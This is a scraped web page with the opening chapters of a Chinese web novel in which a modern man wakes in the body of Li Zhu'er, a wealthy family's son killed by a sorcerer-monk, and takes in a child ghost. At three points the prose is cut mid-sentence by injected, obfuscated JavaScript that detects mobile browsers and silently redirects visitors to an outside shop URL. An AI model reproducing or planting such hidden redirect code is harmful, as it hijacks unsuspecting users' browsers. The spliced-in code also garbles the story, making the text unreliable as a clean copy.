《在聊斋里管闲事》 1. 珠儿(一) “施主,观你面相阴气聚顶,府中近日恐有大祸将至。” 刚从食肆出来的李化老爷脚步一顿,打量着面前说话的和尚。这和尚身材瘦削,穿着件极不合体的脏兮兮的僧袍,背着个打着补丁的大布包,压得身躯微微佝偻。长相更是皮肤黝黑、尖嘴猴腮,最可怖的是,他是个独眼,那凹陷空洞的左眼着实让人不敢直视。 过往行人都注意到了这一幕,有意无意地放慢脚步看热闹。 李化在县里颇有些名望,虽非才名,但因向来乐善好施,府城里的人都尊称一声“李大善人”。 而这独眼和尚,是近些时日才来到城里的游方和尚,短短时日就在城中闯出些名堂。不为别的,就因为他不仅能掐会算,还能驱鬼避祸,前些天张家狐祟、孙家闹鬼还有周家小女丢魂,都是这和尚给解决的。按理说,这和尚做这么多好事,该是个受人敬重的主,可如今城内众人却纷纷避而远之。 原因有二,一是收费太贵,少则几十吊钱,多则一二十两,越是遇到富贵人家更是坐地起价。若非遇到走投无路的情况,谁会找他?一旦找上他,必是大出血。 其二,其实在这和尚来之前,城里并不多见鬼妖作祟,他虽解决了各类事件,人们也在嘀咕:怎么他来了后,这么多家出问题?嘴上不敢胡说,私下却叫这和尚“瘟神”。这不,今天又找上县城里的大户李家老爷了,定是想从李老爷身上赚走些银钱。 李化皱了皱眉,他显然也是听说过这和尚的,但他向来好脾气,耐心问道:“大师此话何意啊?” 独眼和尚掐着手指,高深莫测地半眯起眼对李化道:“施主早年痛失爱女,如今只有一子承恩膝下,可此子近日煞星将近啊,恐有血光之灾啊。” 李化面色古怪,这人倒没说错,他和娘子确实早年丧女,后多年无所出,到处求神拜佛才终于老来得子,虽然他的宝贝儿子是个傻子……此事早传开了的,就连他常年做善事也是以给子孙积德积福的名义,这城里的人不知道的才在少数。独眼和尚随便打听下就能知道的事,还用他算? 周遭的人听了,自然也都对和尚露出隐秘的不屑表情,心里也和李化想的一样,这和尚定是打听来此事,利用李老爷爱子如命的心情想要骗钱。 李化虽并未相信,但事关儿子,犹豫了一下,还是问道:“大师可有解法?” 独眼和尚就等这一句呢,不慌不忙道:“破财消灾,古来如此。” 这倒不难,李化想着即便这人是乱说的,但破财买个心安也可,便又开口问:“需多少才可化解?” 独眼和尚咧嘴一笑,“李老爷儿子命贵,一百两银子还是要有的。” 人群中传来数道吸气声,果然看对方是李大财主就狮子大开口啊! 李化掏出十两银子递过去,皮笑肉不笑道:“大师要不指点一二,这是有什么祸事您先说说吧。” 和尚瞅了一眼银子,没接,也没说话。 李化脸上已有不耐,忍了忍又叫身旁的小厮去自家不远处的商铺支了三十两来,道:“大师,这些够了吧?犬子素来身体康健,您忽然说这般话,总得给我点提示才方可让我安心信任你吧?” 和尚依旧摆出一副和外貌不符的高人姿态,伸出一指摆了摆,道:“一百两,一文都不可少。施主此子得来不易,要化解也不易,自然是要更多的供奉才行。” 这下子,李化火气就上来了,他对这人的行事早有耳闻,竟真敢对他狮子大开口!就算府上富裕,也不是这么不清不楚就给人送钱的,况且还高出其他人许多,真当自己冤大头呢?! 李化将银钱收了起来,冷笑道:“大师不愿细说便罢了,我在城外的寺庙、道观也长年为犬子祈福供奉,就不劳烦大师了。”话落便甩袖离去。 李老爷说走就走,这可出乎和尚意料,不都说他最在意自家那个傻儿子吗? 人群中传来几声嗤笑,独眼和尚心中更是恼怒,盯着李老爷离去的背影,完好的那只眼睛迸发出恶毒的寒意。 好哇,既然这般不上道,那就让你尝尝断子绝孙的滋味吧!等你吓破了胆,到时候就该花大钱买你自己的命了! 李化带着气性回府,那该死的妖和尚敢咒他儿子,这种坑蒙拐骗的江湖术士就该报官将他抓起来! 可刚到大门口就觉不对,宅院里哭声震天,管家李平见老爷回来,急跑过来嚎道:“老爷您快去看看吧,少爷少爷他……”。 李化急道:“少爷怎么了?!” “少爷他……不行了!” 李化霎时如遭雷击,半晌才回过神来往西院奔去。来到儿子李钰房内,只见木若菱守在床边痛哭不止,床上赫然就是自己双目紧闭的儿子! “珠儿——!”李化喊着儿子的乳名,扑到床边握住他冰冷的手,再探脉搏鼻息,已无生气! 床边还站着熟悉的孙大夫,大夫见状忙道:“公子突发疾病,暴毙而亡,已是回天乏术……李老爷,还请节哀。” “怎么回事?!今早我出门前珠儿还好好的,怎么就……暴毙而亡?!”李化目眦具裂地咆哮着。 大娘子边哭边说:“先前珠儿本在园中跟小厮抓蛐蛐,明明好好的,不知怎么地,忽然就抽搐倒地,当时就不行了!” 李化心头一颤,蓦地想起那个独眼和尚的话,他又惊又怒,但也顾不得许多,忙吩咐管家包了二百两白银就要去找那和尚。 果不其然,那和尚还在原地,李化见他立刻就跪下。 “大师,求您救救我儿!这是二百两白银,若能救我儿,还有重谢。”李化奉上银两,老泪纵横,苦苦哀求道。 独眼和尚倚靠在一处墙角,挖了挖耳朵,老神在在道:“鄙人不过一游方和尚,救一救将死之人还行,哪有什么能耐让人起死回生呢?” 起死回生?他知道珠儿已经死了! 李化怒道:“你怎知珠儿死了?果然是你!你个妖僧,是不是你使了什么妖法害了我儿性命!你还我儿子命来!” 和尚僧袍领口被李化紧紧攥住,李化生得高大,用力之下竟将和尚扯得双脚离地,脖子勒得生疼,他大叫道:“放手!咳咳……我让你放手!我好心提醒你,你自己抠门还怨到我头上?明明是你害死的你家那小子!” 管家上前拦住李化,吩咐小厮们将那和尚拿下,李化气喘吁吁,好半天才缓过来,对管家咬牙吐出两个字,“报官!” 和尚一愣,这怎么跟他想得不一样啊?不说这李化老爷最是和气仁善,他只当是个胆小怕事的人,一次次反应怎的全然出乎自己意料?还如此雷厉风行直接让其手下堵了他的嘴,他“杀鸡儆猴”的威胁之语还未说出来呢! 本地知县丁乘鹤与李化素来有些交情,惊闻此事立即升堂审理。 独眼和尚被押到堂前,嘴里还大呼“冤枉”。丁知县当即命人搜了他的身,搜出一口装着骨灰的小棺材,五只画着符文的小令旗!另有两个小木人,一个小木人身上写着生辰八字,经李化辨认,果然就是他儿子的生辰八字! 罪证确凿,衙役们一用刑,那和尚也怕了,就都坦白。他不是什么和尚,却是会些邪术,专用邪术害人骗人。若是信他,给他钱的便装作帮忙驱邪避祸,不信他的,要么驱鬼作祟再坐地起价,要么直接以厌胜之术取人性命! 丁知县看老友形容憔悴,又听得此人会这等邪术,这般害人定不只这一桩案子!从白天到黑夜,刑讯供述,此人所犯案涉及地甚广,骗取钱财甚多,甚至手染六条人命!可谓人神共愤。 一夜过后李化才归,木若菱见他失魂落魄地回来,忙迎了上来,面上还带着未干的泪痕,她哽咽问道:“那妖僧可伏诛了?” 李化点点头,“丁知县在他身上搜出了各种邪术法器,罪证确凿,他也供认不讳,已经羁押在牢,不日便会问斩。” “可怜我儿却......”李化话还未尽就忍不住再度落泪,木若菱此时也无心安慰他,同样默默哀泣。 李化拍了拍娘子的肩,两人一道往里间走去。 李家少爷的尸身如今还放在床上,如同往日睡着了一样。李化强撑的最后一丝气力也在看到儿子冰冷的尸身后被击碎了,他已经失去了一个女儿,好不容易等来的儿子又被那等小人所害。老来得子本就不易,还要历经两次白发人送黑发人,李家到底做了什么孽,要遭这样的祸事! 李化扑了上去,伏在儿子身侧边哭边喊:“儿啊,我的珠儿啊,你怎么这么命苦......” 木若菱也哭着上前握住儿子的手,断断续续叫着儿子的小名。 李钰就是在这一声声“猪儿、猪儿”的呼喊中苏醒过来的。 他指尖微动,感受到从手上传来的温度,握着他手的木若菱立时被惊断了哭声,不可置信地看向儿子的脸。只见“李珠儿”眼皮忽然频繁颤动起来,夫妻俩惊得大气不敢出,只见片刻后,儿子真的睁开了眼睛! “我的儿,你醒了!”木若菱惊呼道。 四周的仆人们被这一幕吓坏了,尸……尸变了?!这珠儿少爷,可是大家亲眼所见暴毙而亡的,怎么就忽然活过来了? 李化激动得声音都有些扭曲了,“珠儿,你你你……醒了?你有没有哪里不舒服?饿不饿,要不要喝水?” 李化语无伦次,马上喝斥下人,“不许吵闹,还不快去给少爷端水来。” 一个丫鬟赶紧端了水过来,李化亲自给自己的心肝儿子喂了点水才说:“好孩子,你说句话,你这是真的醒了吗?” 他不敢说你这是又活过来了,怕吓到自己素来有些痴傻的儿子。 李钰呆呆地看着面前这些陌生的人,确认着眼前的状况,他现在身处一间古色古香的房间中,眼前的人们也都穿着古代的服饰。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101325|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不对劲!他明确知道自己是久病不起,终究等来了死神,可是死后没入地府,却来到这样的地方…… 难道是穿越了? 还不待他再多想想,木若菱将李化撞到一边去,一把抱住李钰,然后又仔仔细细地把儿子看了一遍,确认孩子真没事了便喜极而泣,口中不断地喊着“珠儿珠儿”的。 李钰一个头两个大,他借尸还魂的这个人居然叫猪儿......这古人取名,就算是贱名也太不雅了吧。 木若菱抚摸着儿子渐渐变得温热的脸庞,惊疑不定地问:“珠儿,你真的回来了?” 李钰有些后悔没有多看点穿越类的古装剧了,此时此刻真有些不知如何回答,而且他并没有原身的记忆,想要装作原主根本无从下手。虽然不知道原身身上发生了什么,但按套路讲装失忆应该问题不大。 于是他以手抚额,做出一副头疼的样子,问道:“这是哪儿?你们都是谁呀?” 此话一出一室寂静,木若菱愣怔地看向李化,李化蹙眉想了一会儿,毕竟他活的年数久也算见过一些世面,便猜测说:“儿子恐怕是受到邪术影响,失忆了。” 李钰心想:多谢补全理由,可邪术又是怎么回事? 木若菱整理了一下表情,强笑道:“没关系,只要你醒来就好。”又忙吩咐丫鬟去请大夫过来再给儿子看看。 可话说到一半,她忽然反应过来,惊喜地攥紧李钰的手,“儿子,你刚刚说什么?” 李钰莫名,但还是听话地将刚才的话重复了一遍,“我问这是哪儿,你们又都是谁?” 木若菱喜不自胜道:“孩子,你不结巴了!老爷,珠儿不结巴了!” 啊,感情他的原身还是个结巴啊! 不等李钰后悔没有试探清楚就行动,李化和木若菱又是一阵惊喜交加,拉着他问这问那,问得李钰头昏脑胀。余光恍惚看到在房梁上似乎有一个白色的东西一闪而过,再想细看那东西就不见了。 应该是他眼花了吧。 好一通闹腾后,李钰终于弄明白了,他的这具原身也叫李钰,有趣的是小名叫珠儿,不是猪儿,跟个女孩名似的。李珠儿从小不但结巴,还天生痴傻,但家里就这么一根独苗苗,又是李家老来得子,一家人对这个珠儿,那是爱若珍宝。这一点从这取名上就能看出一般——大名李钰,金玉满堂;小名珠儿,掌上明珠。 此后,李钰就要顶着李珠儿的身份,在这个时代继续延续着本应结束的生命。好在这李珠儿虽是个傻子,却有个好相貌,与李钰本来的长相还颇有些相似,但比起久病的他更加面色红润和身体康健。 这对于病死的李钰来说,是最值得感恩的一件事。 而李家少爷死而复生,还因祸得福不傻了的消息不胫而走,李宅也重回了往日的热闹氛围。左邻右舍纷纷上门道贺,更多是想看看如今的李钰是什么样的。不过这些都被李化以儿子刚恢复不便见客为由,给婉言谢绝了,可各种招待还是免不了的。 只有木若菱天天跟盯眼珠子似的,日日夜夜都守着好不容易回魂的儿子。家里请的孙大夫也持续一个月日日上门诊脉,生怕再有意外。 一开始李钰心里还有些烦闷,但一想到自己借着人家儿子的壳子重生,又不由得有些心虚和心疼。况且他对这个世界了解得太少了,也接着这个机会,让木若菱跟他讲了不少原身以前的事,木若菱自然无有不应的。 这样的日子持续了一个月后终于消停了,木若菱见儿子是真的活回来了,每日能吃能睡的,也不再每天守着儿子入睡才走了。 可刚得了自由的李钰,到了晚上还是只能百无聊赖地躺在床上数羊。身体躺下了,脑子却还活跃着,这到底是个什么世界?看众人的穿着似乎是明制服饰,可似乎和他了解到的历史不太符合,毕竟这驱鬼作祟、邪术害人的玄幻之事,在古代是真实存在的吗? 夜里很是静谧,房内只听得他自己的呼吸声。还有许多事想不明白的李钰意识逐渐模糊,刚要闭眼睡去,耳边忽地响起一个声音—— “都怪你把我的身体抢了!” 这声音并不大,却如炸雷般将李钰震醒。他猛地睁开双眼,转头看向声音来处,目光霎时就直直地对上另一双血红的眼睛! 居然有另一个人在他毫无所觉的情况下,枕在他枕头上!他一转头便几乎和他脸贴脸! 李钰呼吸一窒,连忙手脚并用向后退去,身体狠狠撞到墙上。 定睛一看,躺在他床上的居然是一个小孩!那小孩长着一张青白到不正常的脸,看起来只有六七岁的样子,无声无息地出现在他的床上,难道是......鬼? 他说我抢了他的身体……难道他是…… 李钰哆哆嗦嗦地开口道:“你是谁?难道你是......李珠儿?” 不是吧,正主的鬼魂来要身体了?! 2. 珠儿(二) 不对吧,这珠儿已经十八了,可这小鬼只有六七岁呀,难道因为他是傻子,只有六岁的智商,所以灵魂看起来也要比常人小一点吗? 那小鬼飘了起来,阴恻恻地盯着李钰,刚刚出声吓人,这会儿倒是不说话了。 可这就更吓人了好吧!李钰欲哭无泪,继续尝试沟通,“你真是李珠儿?” 那小鬼吸了吸鼻子,竟像是要哭了一样,他说:“我本来可以是李珠儿!我要借李珠儿的身体还魂,却被你这个不知道哪里冒出来的魂魄占了躯壳。我被人所害炼成伥鬼本就不得超生,好不容易得来的还魂机会也被你抢了!呜呜呜呜呜呜......你这个坏人!你到底是从哪儿来的,为什么非得抢我的机缘?” 这小鬼一哭闹,那恐怖的氛围瞬间就散掉大半。 李钰听得一知半解,问道:“也就是说你不是李珠儿?你只是想用李珠儿的身体还魂?你为什么要还魂,不能去投胎吗?” 那小鬼收起眼泪,恶声恶气地说话,只是因为人小声音也稚嫩,听起来威慑力不够,他说:“我被那个妖和尚害了性命,他还控制着我的骨灰和魂体受他驱使,被他炼成了伥鬼,被迫做坏事吓人,永世不得超生。我好不容易等到李老爷报官,收拾了那妖和尚,得了自由。李老爷儿子死了,我本想着借他儿子的尸体还魂,从今以后就做李老爷的儿子报答他的恩情,也能重活一次再入轮回,谁知道,谁知道竟被你鸠占鹊巢!” “哟,你个小孩还懂鸠占鹊巢呢?”或许是看这小鬼话说太多,就跟渐渐有了人气儿一样,李钰也不怕了还调侃他,把那小鬼气得又要掉眼泪。 “好了好了,你别哭了。”李钰一脸的招架不住,“老实说我也不知道怎么的就到这具身体里面了,这也不能怪我呀,而且谁让你来迟了,你要是早点来,说不定还轮不到我了。” 那小鬼似要反驳什么,但眼睛咕噜一转,忍着没说。 李钰又说:“那你不能投胎的话,或许我可以找高僧或者道士超度你啊?能帮你的我都想办法帮。” “我不想被超度!谁知道超度后会怎样。”小鬼想了想,“你抢了我的机会你就要负责!要不你把我留下来吧,让我在你家住着,给我一间小房间,里面该有的床被褥都要有,每天给我放一碗冷粥供奉就行了,这样我就不用做孤魂野鬼了。” 李钰一听,眼睛瞪得溜圆,“那怎么行!人鬼殊途,我们怎么能住同一屋檐下?” “怎么不行了,我又不会害你们!也只是求一个庇护所,若有什么小妖小祟的作乱,我还能帮你们呢,这个就叫保家仙......保家鬼!嗯,都一样!” “这......”李钰面露难色。 小鬼龇牙咧嘴地闹了起来,“你刚刚还说要帮我!我六岁父母双亡,又被害了性命,还被炼成伥鬼,好不容易得了自由,却被你占了还魂的躯壳,无法重返人间,也没法去投胎......” “好了大哥,你别嚎了!这事我可能得跟你恩公商量一下。”李钰实在受不了这魔音贯耳,只得应下。 “恩公是好人,他一定会同意的。”小鬼点头如捣蒜,说得信誓旦旦。 “可以是可以,但你不许把我占了李珠儿躯壳这件事告诉任何人,不然我不会给你房间,也不会给你冷粥,还找道士收你!”李钰瞪着眼睛,露出一个威胁的表情,“哪怕你去找你恩公,你看他是信我这个儿子,还是信你这个鬼!” 小鬼胸口一起一伏像是很生气,思量再三,终于还是答应了。 “那你暂且今晚就先在我这住吧,明天我找你恩公说去,不过你绝对绝对不能再害人了!” 小鬼鼻子抽抽,“我本来就不想害人,是被妖和尚用邪术驱使不得不做,不然也不至于落得这样的下场。” 李钰忽然想起来一个重要的问题,“那珠儿是你害的吗?” 小鬼忙说:“不是我!李珠儿是被和尚用厌胜之术害死的,他其实有点道行,能算人八字,将八字刻在木偶上再念个咒、扎个针就能杀人。我的作用一般是去别人家里作祟,恐吓那些他要骗的人家。” “真的?” “真的!而且李珠儿的命数本就只到现在,那是李老爷早年间在金陵做生意欠了严子方的钱没还,结果严子方死得早又没家人,转生投成了李老爷儿子来要债的。如今养到成年,钱早还完了,命数到了已经去地府轮回了。” 李钰见他不像说谎,便道:“那我可相信你了,看你是小孩,你以后一定要好好做人......好好做鬼。” 小鬼认真地点了点头。 “好吧,你去那边小榻上睡,可别再突然说话吓我了。” 小鬼眼神中带着不屑,心想自己哪用睡觉,没有回答他。 李钰再度躺下,看着小鬼离远了,可这也没法安心睡啊,便思考着明天怎么跟李老爷子说。 不过这个世界的人,对这些邪术、鬼神一类的接受程度似乎很高,连官府听到这种事也不觉得意外…… 不对,这个剧情怎么好像有点熟悉,他好像在哪见过……是哪儿呢? 李钰疯狂搜刮着自己以前看过的灵异志怪类电视剧和小说,忽然福至心灵,翻身坐起来。 “我想起来了!” 那小鬼被他吓了一跳,结结巴巴地说:“你你你不是说不让我出声吓你,你怎么还吓起我来了?” “你先别说话!” 李钰从脑海里模糊的记忆找了出来,这个剧情好像是《聊斋志异》里的故事吧,里面有一个篇章的主角就叫珠儿! 那篇故事并不是聊斋里面流传较广的,只是因为主角是个男孩,但名字却叫珠儿,当时他还想怎么还有男生叫这个名的?由此才对这个故事略有印象。 而且因为小鬼的出现,他想起来在《珠儿》这个篇章里面,原身死了后,有一个小鬼借他的身体还魂报答李家,后面好像还去了地府什么的…… 哎,实在记不得更多了! 李钰对《聊斋志异》的印象大都是书生女鬼、青年狐妖们的风月故事。因为他小时候喜欢王祖贤,买来原著把聂小倩的故事读过很多遍,对小倩的故事记得比较清楚。但其他的篇章也就粗略地翻看了一下,早忘记了许多,除了耳熟能详的,比如:婴宁、画皮、小翠等等。而这类流传广的故事因为改编成影视剧较多,甚至很多是魔改原著,原本剧情是如何的也很难想起来了。 而珠儿的故事,若不是这小鬼的出现提醒了他,或许他到现在都还想不起来。 苍天啊,他以为自己是穿越到了古代,没想到是穿越到了《聊斋志异》里面。这种充满了鬼怪的世界要怎么活下去啊?他爱看恐怖片不代表想要生活在这样的故事中啊! 李钰崩溃地抓着头皮,小鬼在一旁看得莫名奇妙,“你该不会是被我吓疯了吧?” 李钰有气无力地说:“不是被你吓到,但离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101326|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯也不远了。” 到了第二天,也等不了李钰再伤春悲秋下去了,一大早就被小鬼催着出去找李化。李钰只能安慰自己既来之则安之,让丫鬟找了把伞,帮小鬼一路遮着光到正院去给老爷、大娘子请安。 一路遇到的仆人都奇怪地看着打着伞的李钰,李钰目不斜视,带着小孩一同进了正院屋内,把门一关,小孩用力凝练出实体,身形就在房内显现了出来。 木若菱一惊,“这是哪里来的小孩?” 李化从里间走出来,看到这个孩子也是不明所以。 木若菱慈爱地弯下腰问道,“好孩子,你是哪家的啊?怎么跟着我家珠儿呢?” 小鬼忙到他们面前重重一跪,磕了三个响头,大声说道:“多谢阿翁阿婆相救!为我报仇雪恨,重获自由!” 几人面面相觑,李化将他扶起来问:“小娃子你是谁呀?我何时救过你?” 小鬼哭道:“我本是苏州人,名叫詹贵儿,六岁父母双亡,不被兄嫂所容,被送到外婆家养着。哪知一日我在家门前玩,那妖和尚路过看中了我,我被他用糖骗走,又被害了性命炼成了伥鬼,只能受他驱使。”小鬼此时在恩公面前说起往事,倒是真的伤心起来了,他抹了抹眼泪,“是阿翁出手报官将他拿下,让他受到了惩罚,不然我如今还被他所困不得自由。” 李钰无奈地把他昨晚听过的事情又听了一遍,等詹贵儿说完,他便顺势将小鬼头想要在这家里住下的愿望说了出来。 老两口一开始脸上惊疑不定,可随着詹贵儿声泪俱下的哭诉,也有些于心不忍。李化早年间走南闯北,也是有些见识的人,鬼狐之说就是没亲眼所见,也是听过不少,强自镇定下来。倒是心软的木若菱,听了孩子可怜的身世,忍不住连连叹息。 小孩儿见此情景忙不迭地“阿翁阿婆”的连声叫着,生生把李化也叫得不忍拒绝。他一咬牙,一拍桌子,“没想到这个妖僧如此可恶,连这么点大的小孩也不放过。贵儿别怕,我李化好歹也忝居一个‘大善人’的称号,救人救到底!送佛......呃,总之你安心住下,今后好好赎罪偿还业果。我这就去衙门把你的骨灰要回来!” 詹贵儿忙叩首道谢,被李家三人七手八脚地扶起来,木若菱又详细询问了詹贵儿生前的情况,李化则即刻就出门往衙门去了。 李钰心道:果然是聊斋里的世界,对鬼神的接受程度确实高得不正常,不过如此一来他的身份秘密也算是暂时保住了。而这詹贵儿也确实可怜,如果真能如他所说,还能帮家里做个保卫工作什么的,在这充斥着魑魅魍魉的世界里也算多了个保障吧? 他的眼神落在小孩的身上,嘴角抽了抽,但愿吧。 如此,詹贵儿就此在李宅住下了,经常白日里打着一把伞在府里进进出出,就跟进出自家没什么区别。好在木大娘子提前嘱咐了家里众人,这才不至于真吓到人。 而且和影视剧里面演的那些鬼不一样,或许聊斋本来就是借鬼狐写人性的文学吧,除了经常白日里看见院子里一把伞悬空飘着有点诡异,他们平时和詹贵儿相处几乎与人无异。不过李钰现在也只遇到这么一只鬼,并不好以此为这个世界鬼类标准的参考。 久而久之,阖府上下都把詹贵儿当普通小孩在看待,李家的仆人大都是长期府内做工的,知道什么该说什么不该说。只是李化还是多花了一笔钱,作为大家的封口费,能另外再拿钱,众人更是守紧了嘴巴。 3. 珠儿(三) 这天,李化将儿子叫到书房谈话,说是给他找了个先生,是县城里远近闻名的秀才叶生。这位叶秀才三十出头,文章词赋在本地可算是冠绝一时,连丁知县也对他赏识有加,引以为友。只是时运不济,几次应试文章用词恰巧都犯了考官忌讳,现在又要继续读书已备下一次科举,又要养家糊口,这才答应出来给人做先生的。 “你可要好好珍惜这次机会,城里愿意请叶先生的人可不少,只是因为这叶先生自己还要准备科考,实在没有那么多精力教太多人,我又托了丁知县的关系,才答应来我们李家教你开蒙的。”李化苦口婆心道。 李钰听得两眼一黑,这都什么事儿啊,且不说他上辈子好不容易摆脱了学校生活,工作还没稳定就遇到疫情,本就先天病弱的身体扛不住,一命呜呼。他还没见识过祖国的大好河山呢,怎么穿到这个世界来还要继续读书啊?以后不会还让他考科举吧! 他立刻哀嚎道:“爹,我都这么大了还读什么书呀,我跟你一起学经商不好吗?” 李化双目一瞪,“你说的这是什么话!经商有什么好的,‘士农工商’商人最低!还好我们家是到底还是农籍出身,你爹我做这些买卖还不是为了以商补农。你现在好不容易脑袋灵光了,我给你找这么好的先生,你以后要是有个什么功名在身,我们李家也算是耕读传家,光耀门楣了。” 还真是打的这个主意!还耕读传家光耀门楣上了,李钰急道:“哎呀爹,我现在只是恢复成正常人了,又不是一下子就变天才了。况且我年纪都这么大了,自己在家里看看书就得了,还学什么呀。” “看书,你认识字吗?你就看书。”李化加重了语气。 李钰一噎,忘了原身是个傻子的事了,以前肯定是不认识字的,就凭这一点,看来他这书也不得不读了。为了不被看出破绽,他只得服软道:“嗯,那个学也可以。”可他又话锋一转,“但是我绝不去考科举。” 这次不等李化再开口,李钰立刻截住他的话头,“爹您好好想想,我如今这个年纪就算学也赶不上别人了,难道你还真想以后我当个老儒生,一辈子困于科场吗?” “这......”李化一时不知如何反驳,自己儿子十八了才开蒙,这要学出个什么名堂,不知得等何年何月去了。 李钰见老爷子表情些许松动,乘胜追击道:“不如我边读书边在家里的铺子里面学着管理,以后也能替你分忧不是?等您百年后我也能守得住家里的产业,这不好吗?” 李老爷子又吹胡子瞪眼,“又说什么胡话,咒你老爹呢!” “我哪敢?爹,我这真是肺腑之言,自己几斤几两我还是有数的。”李钰诚恳道。 李化沉吟片刻,若真能考取功名当然是好的,可是连叶生那般的才学都屡试不第,蹉跎半生,如今也是家道愈发艰难。自己年龄本来也大了,真要等儿子考取功名,从现在开始学不知得等多久,自己真的还等得到那一天吗?况且家里子嗣单薄,偌大的产业确实得有人打理,百年后自己儿子要是这些经济学问什么都不懂,不是擎等着被同行和掌柜伙计蒙骗吗? 李钰一番话引得李化居安思危起来,这事确实得好好想想。 “咳咳,你说的也有些道理。” 李钰忙上前给李老爷子捏捏肩,笑得甚至有些谄媚,“我说的都是实话,虽然我现在脑子好啦,但也真不是什么聪明绝顶的人,我能懂些实事,会认字算账其实就够了。能不能考取功名真不重要,能守住家业,好好孝敬您们二老,我这辈子就知足了。” 李化拍了拍儿子放在肩头的手,欣慰地说:“我儿也不必如此看不上自己,也是我太独断了。此前你遭了大难,如今能重获性命和□□,已经是上天眷顾了,是我不该逼你。” 说着,又将儿子上下打量一番才道:“还是我儿懂事,那就听你的,书还是要读的,但也该放你出去看看咱家的铺子,多多了解一下各店的经营状况。你看你,长得也如此品貌非凡,又遗传了你老爹我的经商才智,再多添些文采,以后不知多少上门说媒的。” 李钰想不通话题怎么就跳到这上面了,他可不想早早就结婚,他对这个世界的了解还没多少呢,可别就被包办婚姻了。于是连忙正色道:“爹,我答应你好好读书,可你也得答应我一件事。” “就知道你会这么说。”李化倒是不在意,“说吧,想要什么东西啊?” “我不想要什么东西,就是您可千万别私下给我定亲什么的,我现在才算是刚清醒过来,什么都不了解,跟稚子也没什么区别,可不要随随便便就给我谈婚论嫁了。” 这个形容有些奇怪也有些厚脸皮,但李老爷子反而听进去了,或许在他心中自己老来得的这个宝贝珠儿,确实一直都跟孩子一样。要说让他马上成家,连李老爷子自己也觉得怪怪的,便也没什么犹豫就答应了下来。 第二天,果然李宅的书斋就来了一位先生,这叶先生看起来三十左右,一副好好先生的和气模样。行过拜师礼后,便直接开始讲课,先生声音温和,讲课循循善诱,那一手字更是写的铁画银鈎,颇有一番风骨。 李钰拉来了詹贵儿跟他一起听,这个小鬼父母在世时他还上过几天学,识得几个字,只是后来一切都变了。反正叶先生大部分时间看不见詹贵儿,偶尔詹贵儿能凝出实体了也来听课,叶先生也不在乎,他还以为这孩子是李家远房的亲戚,小孩子也不捣乱就由他去。 不过这书刚念了没几天,家里又塞进来一小孩。说是小孩,但也就小李钰一岁,是丁知县之子丁再昌,他平日里都在私塾读书,得空才来李宅,跟着叶先生学写字。叶先生给李玉和詹贵儿讲课的时候,丁再昌就在旁边乖乖地练字。 他那字李钰看过,倒也整整齐齐的,非得说不好的话就是没什么风格,能看但称不上多好看。李钰看着自己桌案上的狗爬字,表示理解,一定这古代人对毛笔字的要求太高了。 丁再昌平日里大多是一副傻书生的模样,有时候却也有符合他年龄的活泼,比如老是缠着李钰问他死而复生的故事,听了好多遍也不腻。久而久之,他和这十七岁的少年也成朋友了,还以师兄弟相称,这是他在这个世界结交的第一个朋友。詹贵儿年纪太小,不算。 不过最让李钰开心的事,是他终于可以出门了! 自那次和李老爷子长谈后,李化总算不再拘着他。李家产业在这城中可谓遍布各行各业,老爷子带他先去自家的粮铺、布庄、胭脂铺、茶庄、茶楼还有客栈逛了个遍,招呼各家掌柜伙计都来认认少东家。露了脸的李大少爷一路被人溜须拍马,狠狠过了把被人吹捧的瘾。 后来李钰就总以或视察或学习之名出去逛逛,要不是还要读书,他恨不得每天都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101327|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往外跑。 这天刚好丁再昌在,他便带着小丁一起去他家茶楼喝茶吃点心,免得他天天读书读傻了,让他接触一下市井气息,活泛活泛脑子。 他家的茶楼和客栈刚好是城里最热闹的一条街上的对门,这里往来行人商贩众多,他俩在茶楼的二楼窗户前坐下,时不时还可以看看楼下民众的热闹。这家铺子在卖力吆喝客人,那家小贩遇到砍价厉害的客人愁眉苦脸,可别说,李钰看着这番景象觉着还挺有意思的。 丁再昌吃着他们家的糕点连连赞叹:“师兄,你家就糕点师傅的手艺真好,甜而不腻,满口生香啊。” 李钰笑道:“这可是我爹专程从金陵请过来的糕点师傅,手艺能不好吗?” “原来如此。”丁再昌点点头,突然像是想到什么,有些坐立不安的样子。 李钰见状便问:“怎么了?” 丁再昌脸上微微泛红,拱了拱手才说:“小弟也是出于关心,望师兄不要见怪。” 李钰来了兴趣,说:“不见怪,我们俩谁跟谁啊,你便直说吧。” 哪知丁再昌不答先问:“你家的糕点师傅请过来应该要不要花不少钱吧?” 李钰哪里真的关心过,只能含糊答道:“应该是吧。” 